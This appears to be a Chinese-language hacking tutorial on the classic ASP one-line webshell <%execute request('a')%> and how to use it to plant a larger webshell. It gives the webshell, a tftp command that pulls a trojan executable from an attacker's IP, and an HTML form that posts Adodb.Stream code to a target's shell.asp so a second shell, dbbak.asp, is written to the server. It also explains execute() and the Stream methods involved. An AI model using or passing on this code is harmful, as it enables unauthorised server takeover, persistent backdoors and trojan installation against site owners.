通過HTTP協議來訪問
一句話木馬的使用范圍(我只列舉了2種):
1)只有數據庫備份的情況
數據庫備份成asp文件時候,不出現“ 編譯錯誤,缺少腳本關閉標志%>"
2)SA權限的時候,一般先寫入一句話,圖個方便..(當然,直接tftp上傳鴿子運行,那更快)
tftp -i ip get server.exe
一句話木馬<%execute request("a")%>的原理:
首先知道
execute()函數,是用來執行asp代碼的.就是負責執行我們上傳的大馬,將馬交由asp.dll解析.上面的代碼<%execute request("a")%>可以這樣來解釋:
<%
if request("a")<>"" then execute request("a")
%>
如果a不為空的時候執行.執行什麼呢?...
if a != 0
下面我們來看一下客戶端:
<form action=http://192.168.0.28/shell.asp method=post>
<textarea name=l cols=120 rows=10 width=45>
set lP=server.CreateObject("Adodb.Stream") '創建Adodb.Stream組件..
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("p")
lP.SaveToFile server.mappath("dbbak.asp"),2
lP.Close
set lP=nothing
response.redirect "dbbak.asp"
</textarea>
<textarea name=p cols=120 rows=10 width=45>要提交的數據</textarea><BR><center><br>
<input type=submit value=提交>
Adodb.Stream負責上傳讀取數據到服務器:
組件:"Adodb.Stream"
有下列方法:
Cancel 方法
使用方法如下
Object.Cancel
說明:取消執行掛起的異步 Execute 或 Open 方法的調用。
WriteText 方法
使用方法如下:
Object.Write(Data,[Options])
說明:將指定的文本數據裝入對像中。
參數說明:Data 為指定的要寫入的內容。
Options 寫入的選項,可不指定,可選參數如下:
adWriteChar =0
adWriteLine =1
SaveToFile 方法
使用方法如下:
Object.SaveToFile(FileName,[Options])
說明:將對像的內容寫到FileName指定的文件中
也就是我們保存木馬的文件名dbbak.asp
參數說明:FileName指定的文件
Options 存取的選項,可不指定,可選參數如下:
adSaveCreateNotExist =1
adSaveCreateOverWrite =2
提交一句話木馬後,a的值為空 等待一個寫入的值 訪問http://www.***.com/**.asp就是等待的過程 如何准備用execute()這個函數來執行...
創建一個Adodb.Stream,負責把我們的大馬寫入到服務器當中...
同時,這個組件定義的變量SaveToFile定義了我們大馬的名字..dbbak.asp
提交到服務器後execute()函數檢測到a的值不為空了,所以就執行了我們的大馬!